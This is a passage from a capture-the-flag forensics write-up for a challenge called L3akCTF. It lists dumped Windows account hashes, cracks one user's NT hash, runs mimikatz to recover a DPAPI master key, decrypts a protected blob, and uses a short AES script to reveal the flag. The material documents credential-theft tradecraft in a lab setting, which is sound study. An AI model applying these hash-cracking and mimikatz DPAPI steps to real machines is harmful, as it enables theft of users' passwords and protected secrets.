WDAGUtilityAccount      504     aad3b435b51404eeaad3b435b51404ee        3adba90fec32aa9d389feaf6be43a3f3
abdelrhman322   1001    aad3b435b51404eeaad3b435b51404ee        7ed4bd1015f33ad80eff4a63119ef2d9

As the SSID we are using is 1001 the user should be abdelrhman322, so we crack the hash in crackstation. After cracking the nthash we obtain the password: 5563756. Being able to execute correctly mimikatz.

PS C:\L3akCTF> & "C:\Program Files\mimikatz-master\x64\mimikatz.exe"

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # dpapi::masterkey /in:".\S-1-5-21-2532670039-4151104164-2696135040-1001\4dc3472c-8370-4831-9124-f45a6d742757" /password:5563756
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {4dc3472c-8370-4831-9124-f45a6d742757}
  dwFlags            : 00000005 - 5
  dwMasterKeyLen     : 000000b0 - 176
  dwBackupKeyLen     : 00000090 - 144
  dwCredHistLen      : 00000014 - 20
  dwDomainKeyLen     : 00000000 - 0
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : f6cf44164bec70ca0fa47a3ff524e877
    rounds           : 00001f40 - 8000
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : fac390672669d3c69566e79d2ec0939e86dde62d863d80ce2b0360b06808bbb92777a3e52de67c5fe0bdf68b2bcf70402978a856f1f1a7036edb389169805f4f1384c4f04863df90a7950c55ac77dad8ab9ec201584cd599ae663130f72a728e34a25a4d48e63b10b09920496415d9c3b99b186193b133aeffaf593ff368515ea81c7f9b054f14a2e9b4f29b5339febd

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 51ee9511244b08d571d17d884d441a81
    rounds           : 00001f40 - 8000
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : b2a24ebd066a54916128ee81dea58a83e8f9a32585dc785b9c65fef24bdfdc4a953e832c99eed69f7b9433cb44b33e9deeb014636f35ffa6a420127cdb929065c6ca9e7a1d2a3ee817cb03ee43c487ad165a9d86b07a22bd21cabc15ed9394cd894f125c42c6241e63f3720bc72614b8

[credhist]
  **CREDHIST INFO**
    dwVersion        : 00000003 - 3
    guid             : {e6b3a0c7-4088-4781-8ba9-44695b039cf4}


Auto SID from path seems to be: S-1-5-21-2532670039-4151104164-2696135040-1001

[masterkey] with password: 5563756 (normal user)
  key : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
  sha1: 06e25d82fd8c0eab4104b47e176c3b8398786f4a

Decrypting encrypted.bin

Now, we proceed to decrypt part of encrypted.bin, also with mimikatz:

mimikatz # dpapi::blob /in:".\encrypted.bin" /masterkey:e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {4dc3472c-8370-4831-9124-f45a6d742757}
  dwFlags            : 00000000 - 0 ()
  dwDescriptionLen   : 00000002 - 2
  szDescription      :
  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : b294a0817a260c11410984020c614f6e8a16aed3fc2746432f57fd2efba023b9
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : aa967b46ecf2788004467c183f1032bc72fcdc6fab914287446b562b239672b9
  dwDataLen          : 00000020 - 32
  pbData             : b84520d25631e0b2f38927cf6c778b0189c3167522f7eeac93d0d3081d1b0050
  dwSignLen          : 00000040 - 64
  pbSign             : 605d87ec9090ef8a90a4688cbac24686f2e3dd2dc6c8a8f4f7d0889734dc8e0a8758be8c3d4ec43be341ab01252c99ac811db8f771ac12b0829f904f5876a393

 * volatile cache: GUID:{4dc3472c-8370-4831-9124-f45a6d742757};KeyHash:06e25d82fd8c0eab4104b47e176c3b8398786f4a
 * masterkey     : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
description :
data: 6d 79 5f 73 75 70 65 72 5f 73 65 63 72 65 74 5f

Decrypting secret message

With the data: 6d 79 5f 73 75 70 65 72 5f 73 65 63 72 65 74 5f, we are able to obtain the final part of the flag:

from Crypto.Cipher import AES

key = bytes.fromhex("6d795f73757065725f7365637265745f") # Data from encrypted.bin
iv = b"1234567891011123"

ciphertext = bytes.fromhex("6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412")

cipher = AES.new(key, AES.MODE_CBC, iv)
cleartext = cipher.decrypt(ciphertext)

print(cleartext)

Having the output:

b'is_where_the_challenge_begins}\x02\x02'

Final Flag

The final flag is: L3AK{AV_evasion_is_easy_Mastering_forensics_is_where_the_challenge_begins}